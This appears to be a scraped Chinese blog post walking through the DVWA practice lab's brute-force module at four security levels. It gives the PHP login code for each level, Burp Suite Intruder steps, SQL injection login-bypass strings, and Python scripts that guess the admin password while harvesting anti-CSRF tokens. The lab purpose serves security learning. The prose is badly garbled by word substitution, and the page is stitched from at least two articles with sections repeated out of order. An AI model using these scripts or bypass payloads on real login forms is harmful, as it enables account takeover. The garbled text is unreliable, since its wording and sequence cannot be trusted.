暴力破解,验证的表单请求

By admin in 4858.com on 2019年4月9日

4858.com 14858.com 2

4858.com,本类别文集:DVWA学习笔记

Brute Force

Brute
Force,即暴力(破解),是指黑客利用密码字典,使用穷举法猜解出用户口令,是现行极端普遍应用的口诛笔伐手法之1,如201四年轰动全国的1230陆“撞库”事件,实质便是暴力破解攻击。

4858.com 3

1.jpg

上面将对多种级其他代码举办辨析。

1.Low 级别

在该模块中追加了3个逃匿的字段 user_token
来防护暴力破解,每当访问该页面都会变卦多个新的 token
值。提交请求必须辅导该值而且每一种值只可以选拔三次,此处便无能为力间接动用 burp
进行简要的穷举,能够写一个 python 脚本来举办爆破。

4858.com 41.png

Low

劳动器端大旨代码

<?php

if(isset($_GET['Login'])){
//Getusername
$user=$_GET['username'];

//Getpassword
$pass=$_GET['password'];
$pass=md5($pass);

//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");

//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}

mysql_close();
}

?>

暴力破解,验证的表单请求。能够看到,服务器只是认证了参数Login是或不是被安装(isset函数在php中用来检验变量是不是设置,该函数重临的是布尔类型的值,即true/false),未有其余的防止爆炸破机制,且对参数username、password未有做其余过滤,存在鲜明的sql注入漏洞。

漏洞使用

格局壹爆破利用burpsuite即可到位

先是步抓包

4858.com 5

抓包

第二步,ctrl+I将包复制到intruder模块,因为要对password参数进行爆破,所以在password参数的内容两边加$

4858.com 6

ctrl+I将包复制到intruder模块

其三步选中Payloads,载入字典,点击Start attack进行爆破

4858.com 7

选中Payloads

4858.com 8

点击Start attack举办爆破

最后,尝试在爆破结果中找到科学的密码,能够看出password的响应包长度(length)“与众不相同”,可揣度password为科学密码,手工业验证登60%功。

4858.com 9

找到科学密码

方法2手工业sql注入

  1. Username:admin’ or ’1′=’1

Password:(空)

流入成功

4858.com 10

流入成功

  1. Username :admin’ #

Password :(空)

流入成功

4858.com 11

流入成功

burpsuite抓包

 爆破程序如下:

分析:isset函数在php中用来检查评定变量是或不是设置(该函数重回的是布尔类型的值,即true/false)能够看出,服务器只是表达了参数Login是还是不是被安装,未有任何的防止爆炸破机制,且对参数username、password未有做任何过滤,存在显然的sql注入漏洞。

Medium

服务器端大旨代码

<?php

if(isset($_GET['Login'])){
//Sanitiseusernameinput
$user=$_GET['username'];
$user=mysql_real_escape_string($user);

//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);

//Checkthedatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");

//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(2);
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}

mysql_close();
}

?>

比较Low级其余代码,Medium级别的代码首要扩张了mysql_real_escape_string函数,这些函数会对字符串中的特殊符号(x00,n,r,,’,”,x1a)实行转义,基本上可以抵御sql注入攻击,说基本上是因为查到说
MySQL5.5.37之下版本要是设置编码为GBK,能够协会编码绕过mysql_real_escape_string
对单引号的转义(因实验环境的MySQL版本较新,所以并未有做相应验证);同时,$pass做了MD5校验,杜绝了通过参数password进行sql注入的恐怕。可是,依旧未有进入使得的防止爆炸破机制(sleep(2)实在算不上)。

具体的mysql_real_escape_string函数绕过难题详细

http://blog.csdn.net/hornedreaper1988/article/details/43520257

http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

漏洞使用

固然如此sql注入不再实用,但如故能够使用Burpsuite进行爆破,与Low级别的爆破艺术基本雷同,那里就不赘述了。

4858.com 12

 1 from lxml import etree
 2 import requests
 3 
 4 
 5 def sendRquest(username, password):
 6     # 构造请求头
 7     headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:50.0) Gecko/20100101'}
 8     cookies = {
 9         'csrftoken': 'Agc1Hwcy4qrwOClBfzTrrlkh2R1pnRCtNxvDX24geS7lSOyEEzfPDE4R1evXsXqR',
10         'PHPSESSID': '29daa35c77875e7c9513e8c88cee0493',
11         'security': 'high',
12     }
13 
14     # 获取 user_token 值
15     url = 'http://127.0.0.1/vulnerabilities/brute/'
16     response = requests.get(url=url, cookies=cookies, headers=headers)
17     html = etree.HTML(response.text)
18     user_token = html.xpath('//form/input[@name="user_token"]/@value')[0]
19 
20     # 重新构造 url
21     url = 'http://127.0.0.1/vulnerabilities/brute/?username=' + username + '&password=' + password + '&Login=Login&user_token=' + user_token
22     response = requests.get(url=url, cookies=cookies, headers=headers)
23 
24     # 判断是否爆破成功
25     if "Username and/or password incorrect." not in response.text:
26         print('成功:', username, password)
27         exit()
28     else:
29         print('失败:', username, password)
30 
31 
32 def main():
33     with open('/Users/zhenghuajing/Desktop/password.txt', 'r') as file:
34         for line in file.readlines():
35             sendRquest('admin', line.strip('\n'))
36 
37 
38 if __name__ == '__main__':
39     main()

艺术一运用burpsuite爆破1.抓包

High

劳动器端宗旨代码

<?php

if(isset($_GET['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');

//Sanitiseusernameinput
$user=$_GET['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);

//Sanitisepasswordinput
$pass=$_GET['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);

//Checkdatabase
$query="SELECT*FROM`users`WHEREuser='$user'ANDpassword='$pass';";
$result=mysql_query($query)ordie('<pre>'.mysql_error().'</pre>');

if($result&&mysql_num_rows($result)==1){
//Getusersdetails
$avatar=mysql_result($result,0,"avatar");

//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea{$user}</p>";
echo"<imgsrc="{$avatar}"/>";
}
else{
//Loginfailed
sleep(rand(0,3));
echo"<pre><br/>Usernameand/orpasswordincorrect.</pre>";
}

mysql_close();
}

//GenerateAnti-CSRFtoken
generateSessionToken();

?>

High级别的代码参与了Token,可以对抗CS奥迪Q5F攻击,同时也大增了爆破的难度,通过抓包,能够看看,登录验证时提交了多个参数:username、password、Login以及user_token。

4858.com 13

证实登录

每便服务器再次来到的登六页面中都会含有1个四意的user_token的值,用户每便登录时都要将user_token壹起交给。服务器收到请求后,会事先做token的反省,再展开sql查询。

4858.com 14

SQL查询

再者,High级其余代码中,使用了stripslashes(去除字符串中的反斜线字符,借使有七个三番五次的反斜线,则只去掉3个)、
mysql_real_escape_string对参数username、password举办过滤、转义,进一步抵御sql注入。

漏洞使用

鉴于投入了Anti-CS奥迪Q5Ftoken预防无脑爆破,这里就不推荐用Burpsuite了,依然简单用python写个脚本吧。

上边是作者本身写的贰个本子(python
二.⑦),用户名称为admin,对password参数举行爆破并打字与印刷结果,仅供各位参考。

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.153.130',
        'Cache-Control': 'max-age=0',
        'If-None-Match': "307-52156c6a290c0",
        'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
        'Accept': '*/*',
        'Referer': 'http://192.168.153.130/dvwa/vulnerabilities/brute/index.php',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'zh-CN,zh;q=0.8',
        'Cookie': 'security=high; PHPSESSID=5re92j36t4f2k1gvnqdf958bi2'}
requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
    req = urllib2.Request(url=requrl,headers=header)
    response = urllib2.urlopen(req)
    print response.getcode(),
    the_page = response.read()
    print len(the_page)
    soup = BeautifulSoup(the_page,"html.parser")
    user_token = soup.form.input.input.input.input["value"] #get the user_token
    return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
    requrl = "http://192.168.153.130/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i = i+1
    print i,'admin',line.strip(),
    user_token = get_token(requrl,header)
    if (i == 10):
        break

get_token的功效是经过python的BeautifulSoup库从html页面中抓取user_token的值,为了便于展现,那里安装只尝试15次。

运营脚本时的Burpsuite截图

4858.com 15

Burpsuite截图

打字与印刷的结果从第3行初步相继是序号、用户名、密码、http状态码以及重返的页面长度。

4858.com 16

打字与印刷的结果

比较之下结果来看,密码为password时重返的尺寸不太雷同,手工业验证,登录成功,爆破达成。

low级别是应用GET请求进行登录,将其发送到Intruder中,并追加password变量

程序执行效果如下:

4858.com 17贰.png二.发送到intruder模块,进行爆破密码4858.com 183.png

Impossible

劳动器端主题代码

<?php

if(isset($_POST['Login'])){
//CheckAnti-CSRFtoken
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');

//Sanitiseusernameinput
$user=$_POST['username'];
$user=stripslashes($user);
$user=mysql_real_escape_string($user);

//Sanitisepasswordinput
$pass=$_POST['password'];
$pass=stripslashes($pass);
$pass=mysql_real_escape_string($pass);
$pass=md5($pass);

//Defaultvalues
$total_failed_login=3;
$lockout_time=15;
$account_locked=false;

//Checkthedatabase(Checkuserinformation)
$data=$db->prepare('SELECTfailed_login,last_loginFROMusersWHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
$row=$data->fetch();

//Checktoseeiftheuserhasbeenlockedout.
if(($data->rowCount()==1)&&($row['failed_login']>=$total_failed_login)){
//Userlockedout.Note,usingthismethodwouldallowforuserenumeration!
//echo"<pre><br/>Thisaccounthasbeenlockedduetotoomanyincorrectlogins.</pre>";

//Calculatewhentheuserwouldbeallowedtologinagain
$last_login=$row['last_login'];
$last_login=strtotime($last_login);
$timeout=strtotime("{$last_login}+{$lockout_time}minutes");
$timenow=strtotime("now");

//Checktoseeifenoughtimehaspassed,ifithasn'tlockedtheaccount
if($timenow>$timeout)
$account_locked=true;
}

//Checkthedatabase(ifusernamematchesthepassword)
$data=$db->prepare('SELECT*FROMusersWHEREuser=(:user)ANDpassword=(:password)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->bindParam(':password',$pass,PDO::PARAM_STR);
$data->execute();
$row=$data->fetch();

//Ifitsavalidlogin...
if(($data->rowCount()==1)&&($account_locked==false)){
//Getusersdetails
$avatar=$row['avatar'];
$failed_login=$row['failed_login'];
$last_login=$row['last_login'];

//Loginsuccessful
echo"<p>Welcometothepasswordprotectedarea<em>{$user}</em></p>";
echo"<imgsrc="{$avatar}"/>";

//Hadtheaccountbeenlockedoutsincelastlogin?
if($failed_login>=$total_failed_login){
echo"<p><em>Warning</em>:Someonemightofbeenbruteforcingyouraccount.</p>";
echo"<p>Numberofloginattempts:<em>{$failed_login}</em>.<br/>Lastloginattemptwasat:<em>${last_login}</em>.</p>";
}

//Resetbadlogincount
$data=$db->prepare('UPDATEusersSETfailed_login="0"WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}
else{
//Loginfailed
sleep(rand(2,4));

//Givetheusersomefeedback
echo"<pre><br/>Usernameand/orpasswordincorrect.<br/><br/>Alternative,theaccounthasbeenlockedbecauseoftoomanyfailedlogins.<br/>Ifthisisthecase,<em>pleasetryagainin{$lockout_time}minutes</em>.</pre>";

//Updatebadlogincount
$data=$db->prepare('UPDATEusersSETfailed_login=(failed_login+1)WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}

//Setthelastlogintime
$data=$db->prepare('UPDATEusersSETlast_login=now()WHEREuser=(:user)LIMIT1;');
$data->bindParam(':user',$user,PDO::PARAM_STR);
$data->execute();
}

//GenerateAnti-CSRFtoken
generateSessionToken();

?>

能够见见Impossible级别的代码出席了牢靠的防止爆炸破机制,当检查评定到频仍的失实登录后,系统会将账户锁定,爆破也就不可能持续。

4858.com 19

爆破提醒

并且使用了越来越安全的PDO(PHP Data
Object)机制防御sql注入,这是因为不可能运用PDO扩展自个儿执行其余数据库操作,而sql注入的重中之重就是通过破坏sql语句结构执行恶意的sql命令。
原帖地址:http://www.freebuf.com/articles/web/116437.html

4858.com 20

4858.com 21

三.基于在爆破结果中找到科学的密码,可以观察password的响应包长度“与众分化”,可估量password为不易密码,手工业验证登六成功。

后来选用字典初阶攻击。

4858.com 224.png

4858.com 23

方法二手工业sql注入

暴力破解实现后,查看结果RESULT,依据Content-Length来判定登6是或不是成功。

  1. Username:admin’ or ’1′=’1Password:

  2. Username :admin’ #Password :

4858.com 24

4858.com 255.png4858.com 266.png

2.MEDIUM级别

分析:Medium级别的代码主要扩张了mysql_real_escape_string函数,那么些函数会对字符串中的特殊符号(x00,n,r,,’,”,x一a)实行转义,基本上能够抵挡sql注入攻击,同时$pass做了MD伍校验,杜绝了经过参数password实行sql注入的大概性。可是,依旧未有到场使得的防止爆炸破机制.

实用对抗了sql注入,不过并未有有对爆破破解做有抵御措施,因而爆破艺术与上述接近,只是那里扩充了3个sleep(二)会减低爆破的时间。

方法:尽管sql注入不再有效,但仍旧得以使用Burpsuite举办爆破,与Low级别的爆破艺术基本一致。

3.HIGH级别

4858.com 277.png

那时候在报到时就参预了令牌机制,该令牌被停放在付给的报表中,每一回提交登录都会先对token举办校验。因而老是都需求先把token爬取到唯有在展开登录提交,从而实现暴力破解。

分析:High级别的代码加入了checkToken,能够抵抗CS宝马X五F攻击,同时也增多了爆破的难度,通过抓包,能够见到,登录验证时提交了多个参数:username、password、Login以及user_token。

此间就通过爬虫的不二诀要实行暴力破解,首先抓去Token,之后带Token提交参数,得到的response判断其尺寸,也是基于长度进行判定是还是不是登六成功。

4858.com 288.png

参考freebuf上的作品,代码如下:

每趟服务器重临的登陆页面中都会含有三个即兴的user_token的值,用户每一回登录时都要将user_token1起付出。服务器收到请求后,会优先做token的检讨,再进行sql查询。同时,High级其他代码中,使用了stripslashes(去除字符串中的反斜线字符,假若有多少个接二连三的反斜线,则只去掉贰个)、
mysql_real_escape_string对参数username、password举办过滤、转义,进一步抵御sql注入。

#coding=utf-8
from bs4 import BeautifulSoup
import requests
header={
   'Host':'vspiders.iok.la',
   'Upgrade-Insecure-Requests': '1',
   'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36',
   'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
   'Referer': 'http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php',
   'Accept-Encoding': 'gzip, deflate',
   'Accept-Language': 'zh-CN,zh;q=0.8',
   'Cookie': 'security=high; PHPSESSID=nqnhr54k42sd46r0t0uq6u32v4',
   'Connection':'close'
}
requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/index.php"
dvwa_session = requests.Session()
i=0
def get_token(requrl,header):
   req=dvwa_session.get(url=requrl,headers=header,)
   the_page=req.content
   response=req.status_code
   soup=BeautifulSoup(the_page,"lxml")
   user_token=soup.form.find_all('input')[3]['value']
   return user_token,len(the_page)
user_token,l=get_token(requrl,header)

for line in open('rkolin.txt'):
   requrl="http://vspiders.iok.la/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
   i=i+1
   user_token,l=get_token(requrl,header)
   print i,'admin',line.strip(),l

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图
Copyright @ 2010-2019 美高梅手机版4858 版权所有